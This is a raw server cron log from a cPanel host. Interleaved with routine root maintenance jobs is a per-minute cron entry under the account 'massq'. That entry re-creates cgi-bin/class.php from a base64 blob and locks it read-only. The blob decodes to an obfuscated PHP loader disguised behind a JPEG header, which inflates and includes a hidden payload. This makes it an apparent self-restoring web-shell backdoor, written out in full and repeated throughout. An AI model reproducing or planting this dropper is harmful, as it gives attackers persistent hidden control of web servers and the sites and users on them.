Sep  9 22:50:01 server CROND[9244]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:50:01 server CROND[9241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:50:01 server CROND[9246]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:50:01 server CROND[9242]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:51:01 server CROND[10106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:51:01 server CROND[10107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:51:01 server CROND[10108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:52:01 server CROND[10506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:52:01 server CROND[10507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:52:01 server CROND[10508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:53:01 server CROND[10870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:53:01 server CROND[10871]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:53:01 server CROND[10872]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:54:01 server CROND[11237]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:54:01 server CROND[11239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:54:01 server CROND[11238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:55:01 server CROND[11715]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:55:01 server CROND[11716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:55:01 server CROND[11718]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:55:01 server CROND[11719]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:55:01 server CROND[11721]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:55:01 server CROND[11720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:55:01 server CROND[11722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:56:01 server CROND[12563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:56:01 server CROND[12564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:56:01 server CROND[12565]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:57:01 server CROND[12956]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 22:57:01 server CROND[12957]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:57:01 server CROND[12958]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:57:01 server CROND[12959]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:58:01 server CROND[13335]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:58:01 server CROND[13336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:58:01 server CROND[13337]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:59:01 server CROND[13717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:59:01 server CROND[13718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:59:01 server CROND[13719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:00:01 server CROND[14204]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 23:00:01 server CROND[14206]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:00:01 server CROND[14207]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 23:00:01 server CROND[14212]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 23:00:01 server CROND[14211]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 23:00:01 server CROND[14216]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 23:00:01 server CROND[14219]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 23:00:01 server CROND[14226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:00:01 server CROND[14228]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:01:02 server CROND[15110]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 23:01:02 server CROND[15111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 23:01:02 server CROND[15114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 23:01:02 server CROND[15112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 23:01:02 server run-parts(/etc/cron.hourly)[15110]: starting 0anacron
Sep  9 23:01:02 server run-parts(/etc/cron.hourly)[15131]: finished 0anacron
